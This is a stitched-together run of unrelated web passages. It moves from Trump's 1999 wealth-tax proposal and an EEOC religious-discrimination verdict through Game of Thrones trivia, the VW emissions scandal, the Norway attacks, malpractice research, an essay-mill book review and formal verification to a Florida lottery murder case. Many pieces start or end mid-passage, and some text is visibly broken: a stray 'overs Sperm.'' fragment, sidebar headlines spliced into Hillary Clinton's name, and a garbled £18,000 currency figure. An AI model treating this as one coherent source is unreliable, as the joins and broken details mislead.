During the course of several interviews on the plan, Trump added more details. The tax would be paid over time: the wealthy could pay the tax in installments over the course of 10 years, giving them time to sell off assets to pay the tax. With the money saved by eliminating interest payments on the debt, he would eliminate the estate tax and cut income taxes on everybody across-the-board.
In an interview on "Hardball" with Chris Matthews one week later, on Nov. 18, 1999, Trump predicted the plan would be a boon to everybody, especially those who paid the big tax.
"The economy would boom. We'd have no debt," Trump said. "Hey, I know about debt probably as much as anybody. I've had too much, and I've had too little. And you know what? Too little is much better, believe me."
A jury was convened to determine damages after US District Court Judge James E Shadid ruled in favour of Mahad Abass Mohamed and Abdkiarim Hassan Bulshale when Star Transport admitted liability earlier this year.
The men, both of whom are Somali-American Muslims, were represented by the federal Equal Employment Opportunity Commission (EEOC). The Equal Employment Opportunity Commission won the case on behalf of the Obama administration.
The federal jury in Peoria, Illinois, awarded $240,000 to the two Somalian-American Muslims who were fired from their jobs as truck drivers at Star Transport when they refused to transport alcohol because it violated their religious beliefs, according to the EEOC.
The trial started on October 19 and the jury returned its verdict the next day after 45 minutes of deliberation.
Judge Shadid, the chief judge of the US District Court for the Central District of Illinois, ruled in favour of EEOC after Star Transport admitted liability in March 2015. The resulting trial was to determine compensatory and punitive damages and back pay.
The jury awarded Mohamed and Bulshale $20,000 each in compensatory damages and $ 100,000 each in punitive damages.
Judge Shadid awarded each approximately $1,500 in back pay.
EEOC alleged that in 2009, Star Transport fired Mohamed and Bulshale after they were required to transport alcohol.
Both men told Star Transport that they believed doing so would violate their religious beliefs under Islamic law.
EEOC also alleged that Star Transport could have but failed to accommodate the truckers’ religious beliefs.
“EEOC is proud to support the rights of workers to equal treatment in the workplace without having to sacrifice their religious beliefs or practices,” said EEOC General Counsel David Lopez. “This is fundamental to the American principles of religious freedom and tolerance.”
A German porn star has been dropped by the national neo-Nazi party after her latest film features her having sex with a black man.
The National Democratic Party of Germany had no problem making Ina Groll, 28, the face of its right leaning party, until her latest movie unveiled her in a multi-racial tryst.
The blond tattooed Nazi spokeswoman, who encouraged men to join the cause by wearing seductive outfits outside of polling places, was deemed a poor representation of its organization due to her latest film "Kitty Discovers Sperm," according to Capitalism Is Freedom.
Those who sell their body for money and disgrace their race have no place in our party.
The controversy over the film caused the launch of an online Facebook campaign to kick her out of the party and shortly later the party's members agreed, the website reported.
"Those who sell their body for money and disgrace their race have no place in our party," as one poster said.
A description of the film on the kitwebsite Buy Euro Porn states Groll's character "knows what true men want."
Ina Groll became friends with many of the senior neo-Nazis in the country and senior NDP officials but all that changed when one of the men sat down to watch one of her videos and was horrified to find her having sex with a black man. The leadership of the National Democratic Party of Germany (NDP) had been happy to use images of blond Ina Groll in their various campaigns and promotional material. The National Democratic Party of Germany’s leadership was apparently unconcerned that she was also a porn star.overs Sperm.'
Groll does not address the recent news on her Facebook page but her latest post on Thursday shows her feelings have not changed.
"We want to preserve Germany as a land of Germans, want to retain our identity and fight against mass immigration. It is enough! Criminal aliens and social parasites out of our country and back to their homes!" reads a translation of the post.
It appears Groll, whose porn name is "Kitty Blair," is not only unwelcome at Nazi functions but also faces a boycott by German pornographers.
In the porn film industry, we welcome participants with all skin colours, and all nationalities, but we don't welcome Nazis.
"The popular view is that she needs to be locked up, no one needs someone like her with her perverted view of the world," Axel Schaffrath, a German porn insider who is the former partner of top German porn star Gina Wild, told Central European News. "She certainly has no chance of filming any more porn movies after her Nazi links were revealed. I personally advised the producers to keep her as far away as possible, people like her need to be ignored by everyone."
John Thompson, head of the Berlin porn film company "GGG," told the news agency there had been a unanimous decision to boycott the blond actress.
"In the porn film industry, we welcome participants with all skin colours, and all nationalities, but we don't welcome Nazis," he said. "If we had known about her political activities, we would have sent her home straight away."
jlandau@nydailynews.com Follow on Twitter @joelzlandau
1. Ser Pounce Is a Diva
One fan favorite cameo this season was Ser Pounce, King Tommen Baratheon's cat. Co-producer Bryan Cogman, who also wrote Pounce's on-screen debut, shares what Pounce was like off-camera: "In the book he was a kitten but I arrive on set, and they’ve cast a sumo wrestler cat," Cogman recalls. "Filming with a cat is a nightmare. Natalie Dormer [who plays Margaery Tyrell] wanted to kill me. But the cat is in it because he serves a purpose: You immediately see that Tommen is not Joffrey. Tommen is a sweet boy with a cat named Ser Pounce, and who has found himself in incredible circumstances... The innocence of Tommen is fun to play with because there isn’t a lot of innocence in this world."
Bad news for the kitty fan club – Cogman admits, "This is probably the last time you’ll see Ser Pounce."
2. Meereen Has a Monty Python Connection
Didn't catch the reference to 'Monty Python' in Season 4? You should brush up on your High Valyrian. Linguist David Peterson shares an Easter egg from Episode 3: "There's a scene where the Meereenese rider is challenging Daenerys' champion. He's shouting and Nathalie Emmanuel [Missandei] is translating – but she's not translating what he's saying. He's actually saying a Low Valyrian translation of the French guy's insults in 'Monty Python and the Holy Grail.' That was [series creator] Dan Weiss's idea and it was so hilarious that I had to do it." Fans were smart enough to realize something was up: "Right after that episode aired, I was getting tweets like, 'Is he saying a 'your momma' joke?' Close… But no, he's actually starting out with, 'Your mother is a hamster.' "
3. Pedro Pascal Looked Death in the Eyes
Oberyn Martell met his brutal end during the trial by combat in Episode 8. Actor Pedro Pascal reveals how the scene was crafted: "They made a cast of my head from the shoulders up and dressed it with facial hair and the expression of violent agony," Pascal recalls. The actor confesses he was fascinated by the prop. "We never get a chance to see ourselves three-dimensionally, and it's totally different," Pascal exclaims, "I was like, 'Holy sh*t. I really look like my dad.' "
4. Maisie Williams Didn’t Sail Into a Sunset
Season 4 ends with Arya Stark sailing to Braavos. In real life, the backdrop was not so epic. "That scene was shot at a car park in front of a green screen," Maisie Williams tells HBO.com. "It's not quite like being on a legit ship in the middle of the ocean, so to really get into that, you summarize the whole season in your head, from Day 1, getting Needle back. It's a really twisted a version of growing up and leaving home – which Arya is, but she's only 12. She looks back at her past home and a little part of her is wondering, "Should I stay?" And she turns and looks at the front of the ship, and her decision is made."
5. The Crew Baked a Batch of Wolf Bread
Ben Hawkey, who plays Hot Pie reveals that the loaf of bread his character makes for Arya wasn't exactly one of a kind. "There wasn't just one bit of bread – there were like 70 identical breads on set," Hawkey divulges. "The person who kneaded them probably had a hard, early morning that day."
6. Rory McCann Was Coached to Hit Below the Belt
The epic brawl between Brienne of Tarth and the Hound left both sides battered. Rory McCann reveals his conversation with the stunt team: "They came up to me and asked, 'Are you alright, mate, about kicking her in the ‘foo foo’?' I know what a 'foo foo' is now." McCann explains how the shot was executed: "On the day of filming, they put a big belt between [Gwendoline Christie’s] knees so while she was crawling, I could take a right good run at her and my foot would just miss her."
7. Hannah Murray Devised a Kissing Strategy
In Germany alone, 577,000 vehicles were affected and 13,000 in the United States, an Audi spokesman said.
In Western Europe as a whole, the number was 1.42 million.
The models concerned were the A1, A3, A4, A6, Q3, Q5 and also the TT, the spokesman said.
VW sparked global outrage last week when it admitted that 11 million of its diesel cars are equipped with so-called defeat devices that activate pollution controls during tests but covertly turn them off when the car is on the road.
After the severe battering VW shares took last week in the wake of the revelations, the stock continued to slide on Monday, shedding nearly seven percent.
>>Read: Volkswagen scandal throws spotlight on transport emissions
According to German media reports at the weekend, Volkswagen ignored warnings from staff and a supplier years ago that the emission test rigging software was illegal.
German authorities meanwhile heaped pressure on the embattled corporate titan, demanding it set out a timeline by October 7 on how it will ensure its diesel cars meet national emission standards without using the cheat technology.
The spiralling scandal has badly tarnished VW’s name, left it exposed to up to 18 billion dollars (16 billion euros) in US fines, and wiped a third off its stock market value in a week.
In a procedural vote largely along party lines, the House rejected a resolution that would order the committee with jurisdiction over the tax code to request copies of Trump’s tax returns.
Rep. Bill Pascrell (D-N.J.), who authored the resolution, said it would help offer transparency into Trump’s finances and whether he could benefit from the GOP’s attempts to reform the tax code. Trump broke with four decades of precedent by refusing to release his tax returns while running for the White House in 2016.
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“We need to know that the president of the United States is beyond question in his objectivity to any nation,” Pascrell said before the vote. “We need to see how our president, our president, would personally benefit from changes to our tax code.”
Wednesday’s vote came a day after The New York Times reported that Trump had pressured since-ousted FBI Director James Comey earlier this year to stop investigating former national security adviser Michael Flynn’s ties to Russia. Comey documented Trump’s words in a memo, according to the Times.
Trump fired Comey as FBI director last week. The White House initially pointed to a memo authored by Deputy Attorney General Rod Rosenstein criticizing Comey for his handling of the FBI’s investigation of Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE’s use of a private email server. But Trump said in an interview with NBC News two days later that he wanted to fire Comey “regardless of recommendation,” adding that “this Russia thing with Trump and Russia is a made-up story.”
Only one Republican, Rep. Walter Jones (N.C.), voted with Democrats to support Pascrell’s resolution. Rep. Mark Sanford (R-S.C.), who has called on Trump to release his tax returns, voted “present.”
It’s the seventh time in the last few months that Democrats have forced floor votes on similar resolutions urging the House Ways and Means Committee to ask for the last 10 years of Trump’s tax returns.
Democrats brought up the resolutions on a weekly basis from late February through early April. They decided to revive the tactic this week following Comey’s dismissal.
The House Ways and Means Committee, Senate Finance Committee and Joint Committee on Taxation all have the authority to request individual tax returns from the Treasury Department and review them in closed session.
ReviewPush places Applebee’s and Chili’s head to head in a five round Battle of The Brands. The Battle of The Brands infographic displays a visual of detailed information on two major chain restaurants in North America. The purpose of the infographic is to display the importance of online reviews and how online reviews create an image for brands. The data was collected from Yelp and Google review databases for 100 random locations per brand from the past 5 years. Each round in the infographic is significant in representing different qualities of online reviews and express the importance on managing a brands online presence.
Round 1: Round one displays the total overall rating for 100 random locations from Yelp and Google. This data portrays the satisfaction of customers and their experience with the brand as a total not independent from a single location.
Round 2: Round two displays the total number of reviews that is broken down from Yelp and Google. The data collected for this round is significant because it shows the influence that Google has on both brands online reviews. Applebee’s received twice as many reviews from Google than Yelp and Chili’s received almost 75% more reviews on Google.
Round 3: Round three provides the total review sentiment breakdown for all reviews. This data point is important because it displays the percentage of negative reviews (anything below three stars), neutral reviews (any review with a three star rating), and positive reviews (any review with more than three stars).
Round 4: Round four presents the best month of the year for reviews over the past year and the highest monthly average.
It was a surprisingly large number, but the police had been careful about releasing additional details of those thought to still be trapped in the rubble of the government quarter in Oslo.
Then, on Monday afternoon, police significantly reduced the official number of those killed at the youth camp on an island outside the capital. Originally, officials had said that 86 people had been gunned down there by suspected perpetrator Anders Behring Breivik, who pled not guilty on Monday despite having previously admitted to the attacks. Now, the official number has been lowered to 68. The death toll from the bomb in Oslo rose from seven to eight, for a total of 76 instead of the previously announced 93.
Since Friday's twin attacks, Norwegian politicians have repeatedly stressed that Norway will remain an open society, that one cannot allow the man behind them to chip away at this important and fundamental value of Norwegian society.
The sluggish and confusing way in which the police have been releasing information on the tragedy may not quite live up to this ideal of transparency. But it does show just how much the attacks have unsettled Norway, how the country is having trouble finding a balance between transparency and trust, on the one hand, and appropriate security measures and caution, on the other -- caution that is now likely only to grow after Breivik claimed in court on Monday that his network included two additional cells.
Unprepared Police Lead to Deadly Delays
Norwegian security forces were clearly not prepared to respond to these kinds of terror attacks. Indeed, it took them roughly 60 minutes after the initial reports of shooting to make their way to the island that had become the scene of a horrific massacre of youths attending a summer camp organized by the ruling Labor Party.
Since the only helicopter available for the country's elite anti-terrorism unit was parked at Rygge airport, roughly 50 kilometers (31 miles) south of its base in Oslo, its members decided to travel to the island by car. When they finally arrived at the pier across from the island, they had no boat to make the crossing. Instead, it took them 16 minutes to commandeer private boats and cross over to the island.
Many of the campers on the island made frantic calls to the police but were not able to get through. The police claim their switchboard was overloaded. But there are also reports claiming that police hung up on some of the youths because they wanted to keep their lines open to take calls regarding the explosion in Oslo.
Even now, three days after the attacks, more and more details about police mistakes are emerging. The Norwegian newspaper Aftenposten reported Monday that security forces lost a precious 10 minutes in getting to the island because the engine of a police boat stalled, forcing the officers to transfer to another boat.
For the moment, both the press and politicians have showed reserve when it comes to pointing at possible police shortcomings. And officials have already admitted that their response was too slow. For the moment, few seem eager to score political points by criticizing the emergency response.
But there is no doubt that a debate on security is on the horizon in Norway.
Continued Openness in the Face of Threats
Norwegian security officials have faced possible threats for some time. Al-Qaida ideologues have explicitly labeled Norway an enemy for a number of reasons, including the fact that its soldiers are involved in the NATO mission in Afghanistan. In addition, ever since caricatures of the Prophet Muhammad were published in a Danish newspaper in Sept. 2005, terrorists have had their sights set on Scandinavia, with little apparent inclination to make a distinction among individual northern European countries.
Just a few weeks ago, Norwegian security officials released a report saying that they continued to believe an al-Qaida attack in Norway was possible.
Nevertheless, no security measures were in place in the government district in downtown Oslo. The streets holding government ministries and the offices of Prime Minister Jens Stoltenberg were not blocked off. Anders Behring Breivik, the 32-year-old Norwegian man likely to have been behind both attacks, was able to drive his explosive-laden vehicle into the heart of the quarter. Had so many government employees not been on vacation, many more than eight would likely have been killed.
For several years, a traffic sign has warned drivers they are not allowed on the street where the ministries and Stoltenberg's offices are. In 2009, Oslo's city council voted to completely block off the street. But, since then, nothing has happened. Now the attack has destroyed dozens of government offices and forced entire ministries to relocate.
Densely Packed, but Defenseless
The lack of security precautions in Oslo has long raised eyebrows abroad. Former government workers tell SPIEGEL ONLINE that, in the past, foreign politicians have voiced concerns about the level of security they found when making official visits to the prime minister's offices. They said they found the entire area far too vulnerable to attack.
"The price of our openness cannot be that government workers have to fear for their lives while at work," says Elisabeth Udgaard, a 32-year-old employee of a Norwegian ministry. "Openness and safety are not mutually exclusive," she added. "Having no protection is not open; it's naïve. Norway finally has to face up to this reality."
The length of time it takes to resolve a malpractice claim is a stress on patients, physicians, and the legal system — and may distress physicians even more than the financial costs of the claim.
“We believe that the time required to resolve malpractice claims may be a significant reason that physicians are so vocal about malpractice reform, and that any attempt at malpractice reform will need to take the speed with which cases are resolved into account,” said corresponding author Anupam Jena, assistant professor of health care policy and medicine at Harvard Medical School (HMS) and a general internist at the Harvard-affiliated Massachusetts General Hospital (MGH).
Using a database from a large national malpractice insurance agency, Jena, along with Seth Seabury, senior economist at RAND Corp., analyzed the amount of time physicians spend with open claims. Claims were broken down by the specialty of the practitioner, the severity of the injury, and whether or not malpractice was found. The results were expected to be reported today in Health Affairs.
Two factors contribute to the amount of time a given physician spends with pending claims: the likelihood of a claim in any given year, and the length of the legal process. The typical medical malpractice claim isn’t filed until almost two years after the incident occurred, and isn’t resolved until 43 months post-incident. Up to 70 percent of the time physicians spend on open clams is devoted to claims that do not result in a payment.
Neurosurgeons, who on average will spend nearly 131 months — 27 percent of their careers, more than any other specialty — with an open malpractice claim. Psychiatrists spent the least time with an open claim, at nearly 16 months, or just over 3 percent of their careers.
The study was part of a larger project to understand how malpractice works and to investigate possible improvements to the system. In a 2011 New England Journal of Medicine article, Jena and his colleagues first published their findings about the variation of risk of malpractice among specialties.
The researchers recommend exploring policy strategies for speedier claim resolution, including tort reform and alternative dispute management tools that could expedite the process and help limit meritless claims.
Even cases that are dismissed before trial take a long time to resolve. In previous studies, researchers found that dismissed cases last 18 months to two years, cases that are settled last two to three years, and cases that go to jury take approximately four years to adjudicate.
“That’s a very long time for a patient or a physician to have to wait for resolution,” Jena said.
The researchers noted that the stress of enduring numerous lengthy lawsuits may not only explain why malpractice reform is so staunchly advocated by physicians, but may also lead to expensive defensive medicine that contributes to high health care costs.
The best remedy would be to have a system in place where the judicial and health care systems could more easily screen out cases that fail to meet the legal or medical standards for malpractice, the researchers said. In cases where malpractice does occur, compensation should be fair and swift; in those where there is no merit to the claim, rapid dismissal of the case would prevent significant resources from being wasted.
“Our sense is that we are probably spending too long to resolve many of these cases and that lengthy time to resolution has many unanticipated costs to patients, physicians, and the health care system as a whole,” said Seabury.
Hayden went so far as to specifically call out FBI Director Jim Comey in his comments.
In this specific case, I’m trending toward the government, but I’ve got to tell you in general I oppose the government’s effort, personified by FBI Director Jim Comey. Jim would like a back door available to American law enforcement in all devices globally. And, frankly, I think on balance that actually harms American safety and security, even though it might make Jim’s job a bit easier in some specific circumstances.
Comey has repeatedly attacked Apple’s use of strong encryption on iPhones …
NordVPN
Hayden said that while he would have loved a back door into encrypted devices while he was running the NSA, the problem – as I argued – is that others would inevitably gain access to it.
“When you step back and look at the whole question of American security and safety writ large, we are a safer, more secure nation without back doors,” he says. With them, “a lot of other people would take advantage of it.”
Hayden said that there were, though, no easy answers.
What we’re trying to do here is what free people and this free people have done since the inception of the republic, which is to balance two things, both of which are virtues: our security and our privacy. There are no permanent answers to that. We debate them continuously based on the totality of circumstances in which we find ourselves. The point I make to our countrymen: This is not a struggle between the forces of light and the forces of darkness. This is a good people, trying to find the right balance.
Lest anyone think Hayden has gone soft in his retirement, he had uncompromising things to say about everything from waterboarding (justified to get information to protect America) to the NSA’s mass surveillance of phone records (the NSA should have been a bit more open about it, but people over-reacted).
The entire piece – including Hayden’s assessment of current Presidential candidates – is well worth a read.
Posted by GeneralJist on Mar 10th, 2016
An Industry Producer Interview with Mark Skaggs, our ranking for mod of the year 2015, and future plans are released in this news article!
The Future:
Greetings, thanks to all of your support, we managed to make #121 for mod of the year 2015.
As we approach ASI Alpha, we've decided to expand the team even further. in addition to the standard production roles in art and code we're always seeking, we've added a few management positions.
Open positions:
Lead Artist
PR manager
HR manager
Feel free to check the descriptions and requirements under our "jobs" tab.
Fandore, our last Lead Artist has been bumped up to Creative director, after 3+ years of consistent development.
I'll be personally training PR & HR, so both the team and community can reach its full potential as we near ASI Alpha, and move forward through the next phases of development.
We believe in quality across the board, and we'll be releasing dramatized readings of our core story lines, which will focus on uncovering the secrets of our universe.
Industry Producer Interview - Mark Skaggs (30 minutes)
This was meant to go out back in December, but it took longer than expected to get things squared away.
Here is the other half of the Industry producer job analysis project, while I was a University of Irvine undergrad, recorded January 30 2015.
(As a side note, if you're interested in reading my 2 part 25 page report & analysis for the aforementioned project, which goes in depth as to how my responsibilities compare to the Knowledge, Skills, Abilities, and other "KSAOs" of a producer, and similar cross industry roles, go here
Interviewer: Eric Chou (GeneralJist)
Interviewee: Mark Skaggs
Sit ins: Matt Ross (Fandore)
James Ouellette (Doomtanker) Community BattleCast Primetime
Seven Seas describes the story:
In a world where humans live side-by-side with anthropomorphic dinosaurs, Yuuma Asahikawa is a young man looking for a fresh start in life. It's a classic case of "be careful what you wish for" when Yuuma begins dating Churio—a gorgeous Tyrannosaurus Rex with a ferocious appetite. Follow the ups and downs of Yuuma and Churio's bizarre romance as they spend their daily lives together. As Churio's vicious claws, reptilian tail, and razor sharp teeth hinder even the simplest of activities together, will Yuuma, let alone their relationship, survive?
Thank you for talking to me when I knocked on your door. And thank you for what you told me. That you’ve voted Labour all your life, as had your parents before you. That, for the first time, you’re having second thoughts. You’re concerned about immigration, about the benefits system, and about Europe. You told me that when you listen to politicians – including Labour politicians, you hear your concerns ignored, patronised, or filed under “Change subject when raised.”
You said you supposed I didn’t want to be having that conversation. That isn’t true. However, I will say that I found our conversation dispiriting. The fact that you feel so ignored has stuck with me.
On that point, you bet me I wouldn’t share your concerns with my colleagues in the Labour Party. I’ll take you up on that.
Our conversation made me think about the US elections. People didn’t feel like they were listened to there, either. When it came to election day, plenty of them went with Trump. They didn’t particularly like what he had to say about women, about Mexicans, about Muslims, or about his own tax record. But they really didn’t like what Hillary Clinton seemed to think about them. When Hillary spoke of Trump’s “basket of deplorables” it was an explicit description of how, they suspected, most politicians basically view them. They felt ignored, and disrespected, and that mattered more than policy detail when they reached the ballot box.
If your world has changed, you want the people who are asking for your support to show that they respect you. Keir Starmer, our shadow Brexit secretary has rightly said that Labour will respect the will of the British people and vote to trigger article 50, to start negotiations to leave the EU. Because, if you feel that those in authority do not respect you, then why should you respect them? You were very warm and respectful to me and I hope that I was to you. But it was pretty clear that you didn’t feel that respect from most politicians, including the Labour ones your family have always supported.
Yvette Cooper is chair of the home affairs select committee. With her committee colleagues, Yvette is going to travel around Britain to listen to the public about what immigration ought to mean for Britain. Labour should be doing the same thing; we have to give you and everyone else a way to forge a solution in partnership with us. A meaningful exchange of ideas; an agreement on the best outcome; and compromise, if necessary, to get there.
Yes, it is not easy to achieve this in the face of some unscrupulous media outlets, those with their own populist agenda and those who show intolerance and bigotry. But I think it’s possible to walk alongside you on common ground, while rejecting in the strongest terms elements in our society that would shatter our diversity and open-mindedness. In fact, it isn’t just possible: when we see the election of Trump and the rise of the far-right in Europe, it is absolutely essential that we offer you a convincing, alternative vision.
I said to you that I want Labour to offer you that compelling vision of the future. A starting point that you and I can both agree is right for our country. But before you are interested in listening to ideas about the future, about the detail, you need to be ready to give us a hearing. We can have the best ideas in the world: but until we genuinely share common ground with you, you’ll be sceptical. Until we walk alongside you instead of announcing to you that your concerns are just proxies for issues that we want to talk about, we can’t expect your permission to represent you and deliver our vision.
If Labour is serious about implementing our vision of what this country can be, we need to share common ground with you. If we want to head towards a destination of economic equality and social justice, we have to be with you in order to get there. And if we want to even start that journey we have to respect your concerns, and earn your respect in return, to even get a hearing.
Thank you again for being so honest with me. Speak soon and all the best,
Bill.
While thousands have been complaining since he outed himself as the designer of those impossible food seals last week, Mr Spevacek said his work – like the clamshell packets - actually contributed to the greater good.
"Clamshell packaging serves multiple functions for the store,” he said of the super-strong toy packets that not even The Hulk could open without bolt cutters.
“It lets the product be visible from both front and back. It allows for it to be hung (which is much preferred to having it on shelves), but most importantly, it makes it more difficult for someone to shoplift since the package is much bigger than the actual product.
“An easy opening package would defeat that last aspect entirely.”
If it makes you feel any better, Mr Spevacek said the clamshell was a pain for manufacturers too. The design meant fewer products could fit into shipping trucks, adding to the costs.
But where do you go after inventing such a milestone in food packaging.
Not to rest on his laurels, Mr Spevacek created a floor coating that dries in a tenth of a second, an implanted hearing aid and EKG electrodes that stay on the skin for longer without causing irritation.
“At present, I am working on making plastics from agricultural waste products, which always seems to surprise people,” he said.
“Look, if we can make plastics from black gloopy stuff that is buried in the ground, we certainly can make it from corn, mushrooms and a pretty much anything else you throw our way.”
He can also reveal there is no truth to any theories that chip bags pop at the bottom more often than the top. They’re both the same seal, he says, made in one long sheet and cut at the same point.
Young people who are studying in the universities feel necessity for professional writing online because usually they do not have enough time so that deal with there assignments by themselves. Browse the site and you will find the firm which crew is accessible 24/7 to order essay.
I’m not sure I’d trust people who write like this with my credit card number, much less to take care of my Intro to American Government term paper. But there are more professional ads like this all over the Internet, where a cheating student can follow the link provided, send a fee, and in a few hours or days receive a paper. It’s pretty easy to picture the stressed-out or lazy students who buy this stuff. It’s harder to imagine the kind of people who make their living producing it.
This world became a little less shadowy when, on November 12, 2010, the Chronicle of Higher Education ran an article, “The Shadow Scholar,” in which a writer using the pseudonym Ed Dante wrote that he’d been turning out American college students’ essays for the last decade. Dante had written some 5,000 papers. “I work at a company that generates tens of thousands of dollars a month creating essays based on … instructions provided by cheating students. On any day, I am working on upward of 20 assignments. You’ve never heard of me,” he explained, “but there’s a good chance that you’ve read some of my work.” At least if you are a professor.
A few readers thought Ed Dante was made up. One blogger wrote that the Chroniclepiece, which became the publication’s most-read article, seemed to have been written by someone “skilled in the art of literary hoaxes.” In fact, he was very much a real person. Meet Dave Tomar, freelance journalist, Rutgers graduate, and Phillies fan.
SPONSORED
Tomar used the Chronicle article as the basis for his new book, The Shadow Scholar: How I Made a Living Helping College Kids Cheat, the story of his life as an academic fraudster. Tomar wrote every day, and he wrote about anything. He wrote about the policies of the Jackson administration. He wrote lesson plans for gym teachers. He produced papers on cancer cell structure and how to develop appropriate study skills in elementary school children. He even wrote love poems and once helped someone edit her profile on Match.com. He’d do these pieces one right after another, routinely churning out five or six papers a day.
What could have been a depressing tale becomes, in Tomar’s hands, a funny and charming read. He writes of one Thanksgiving spent with a girlfriend’s family: through-out the meal, his girlfriend’s father berated him for helping people cheat; the next week, the girl’s mother called Tomar to ask him to write a paper for a friend’s daughter. Then there was the time he wrote an entire doctoral dissertation, 160 pages, for a psychology program. The graduate student gave him $4,000 and one page of instructions. It was, says Tomar, “like buying a used car on the specifications that it had four wheels and was blue.”
At a time when his friends were moving into condos and going to conferences and working at jobs with cubicles and 401(k) plans, Tomar was living a very different life:
On a romantic getaway, I sneak in a last-minute assignment while the lady gets dressed for dinner. When I ride the bus, I type furiously while apologizing to those around me for my flying elbows. I write papers in crowded bars. I write papers in the midst of drunken debauchery, pausing between paragraphs to hit the blunt going around the room. Sometimes during my Thursday-night poker games, I write a few sentences every time I fold a hand. Once I wandered through an antique garden in New Orleans searching desperately for a wireless Internet signal via which to submit my paper on toxicology. I battered my keyboard furiously at the edge of a hotel bed in Las Vegas, reasoning out an assignment on the cognitive psychology tool known as the Johari window just before the strippers showed up for a bachelor party. I wrote a paper on improving English curriculum design on a midnight flight to Chicago, buzzed on Valium, scotch, and acrophobia.
Reading this book is sort of like watching an indie movie take on the academic cheating industry. It’s a light romp—complete with irony, self-deprecation, fun regional adventures, and an understanding hipster girlfriend—through what one might ordinarily think of as one of the world’s worst jobs. Despite this lightness, The Shadow Scholar is ultimately an indictment not just of the paper mill industry—which has, let’s be honest, few real defenders—but of the contemporary higher education system, which allows the industry to flourish. For instance, says Tomar, he’d write a paper, often plagiarized, but with heavy use of a thesaurus, because the student has to submitit via a plagiarism detector software like Turnitin.com. The paper gets a passing grade, the student is happy, and presumably the professor is none the wiser. But it is hard to believe that colleges themselves are unaware that these tactics are widespread. And it is not clear, Tomar argues, that they have much motivation to investigate the problem. Indeed, there is a sort of sleaze triangle of academia at work here, with for-profit ghostwriting companies, for-profit plagiarism-protection sites, and universities—many of them for-profit these days—all making money in a fake academic exercise in which students pay for credits they did not earn.
Tomar suggests that today’s students are more likely to cheat because of a combination of factors unique to people born in the last twenty-five years. Students today, he writes, are characterized by a “sense of entitlement, a constant need for validation, and a mediocre work ethic.” At the same time, they expect fast and easy entertainment. They have short attention spans, and they’ve been constantly receiving gratuitous praise for minor accomplishments from their parents. Together with the convenience and power of the Internet, we’ve created students very eager to have someone else do their work.
This is rhetorically rather compelling, but is it true? The book’s major flaw is that the proof for the level of academic dishonesty Tomar is exposing remains frustratingly anecdotal. He amasses a lot of evidence about student loan debt and class size and grade inflation, but he fails to demonstrate that students today are really cheating more. After all, organized systems of plagiarism have existed on campus for decades. Any decent fraternity will have in its library a filing cabinet stocked with papers on everything from the German Renaissance to Dr. King’s March on Washington. If there is more cheating today, the simplest explanation is not that today’s students are lazier or more dishonest but that the Web makes academic fraud easier to engage in.
Certainly all of the students with whom Tomar interacted seem to be selfish, demanding, dependent, and eager to cheat. But that’s a self-selected group of people, and it’s neither fair nor accurate to say that they represent American young people as a whole. Indeed, there’s every reason to believe that this industry attracts the very worst American students, intellectually, morally, emotionally.
Now it is clear that those sanctions not only are staying in place, but are about to be modestly expanded — exactly the outcome the two presidents sought to avoid.
How that happened is a story of two global leaders overplaying their hands.
Mr. Putin is beginning to pay a price for what John O. Brennan, the former C.I.A. director, described last week as the Russian president’s fateful decision last summer to try to use stolen computer data to support Mr. Trump’s candidacy. For his part, Mr. Trump ignited the movement in Congress by repeatedly casting doubt on that intelligence finding, then fueled it by confirming revelation after revelation about previously denied contacts between his inner circle and a parade of Russians.
Perhaps verification results in higher quality code. But this is not obviously true: correctness is not quality. We might hope that high quality code is readable and easily understood, that it should be as self-contained and independent from the rest of the system, that it is efficient and economical. There is no a priori reason to believe that verification would grant us any of these properties. No matter how horrible some code is, as long as it is correct, there exists a proof which vouches for its correctness.
But as anyone who has gone through the sweat and tears of verifying a program can tell you, formal verification really does make your code better. Here's the secret: proving theorems is really hard. If we want any hope to successfully prove something about a program, we must to make reasoning about the code as easy as possible. A program under verification irresistibly gravitates towards it’s most “reasonable” form, because otherwise the proofs are simply too arduous to carry out. And in this form, the tenets of high quality code follow.
Take for example Bedrock, a system for building verified low-level programs which manipulate pointers and registers. These are programs that deal with mutable state, a feature which is well known to dramatically increase the difficulty of reasoning. Bedrock, and many systems like it, would be dead out of the water if not for the development of an important system called separation logic. The central idea behind it is so obvious to any experienced practitioner it is barely worth stating: private local state is easier to reason about than public global state—modularity is good. It enforces this through a clever formalism, the star operator, which combines two assertions about two regions of memory while assuring that the regions are disjoint. Regardless, the end result is this: if your components are independent, the theorem proving is easy; if your components are tangled together, the theorem proving is hard. You do the math.
But it doesn’t stop there. When different components do interact, the principle of encapsulation says that I do not want to know all of the gory details of a component, just its high-level interface. In theorem prover land, “all of the gory details” means unmanageably large facts about many pointers, and a "high-level interface" is an abstract predicate which rolls up all of these facts into a single, cohesive logical fact (“this is a linked list.”) Developing these predicates is critical to keeping your theorem statements concise and understandable, and in higher-order provers like Bedrock, they can apply not only to data but also to code, i.e. function pointers.
Dressed in a prison jumpsuit, a woman with curly, brown hair looks tearfully into the camera lens and protests her innocence.
Locked up in Florida, US, Dorice 'Dee Dee' Moore will spend the rest of her life behind bars after being convicted of murdering a lottery winner.
The 45-year-old befriended truck driver Abraham Shakespeare after he won a staggering $30million (then, £18,000) jackpot in 2006.
She swindled the 42-year-old out of his money and took control of his mansion and BMW, before murdering him in a cold blood, a court heard.
She was jailed for life, without the possibility of parole, in 2012 after Shakespeare's body was found under a concrete slab behind one of her homes.
But despite her murder conviction and sentence, Moore insists she is innocent, eight years after she was caught in a police sting operaiton.
(Image: Channel 4)
Appearing on Channel 4's documentary Women Who Kill tonight, she claims: "I am not a manipulator-type person, I didn’t deserve this."
Sitting in Lowell Correctional Institution, she adds: "I used to think that everybody that was in prison deserved to be here for whatever they were here for.
"And that we had a bunch of murderers that we needed to keep out of society... but I learned that there are a lot of people here for stupid reasons."
Moore insists that if her "facts" came out during her trial, she would be free.
She says on the programme: "In my case, none of my facts came out or I would not be here. If my facts came out, I would have never got convicted."
Shakespeare went missing after befriending Moore, who had told him that, as a successful businesswoman, she could solve his financial problems.
Before his disappearance, the truck driver had generously bought homes and vehicles for fellow locals in Polk County, Florida, with his lottery winnings.
This had led to people queuing outside his mansion, asking for handouts.
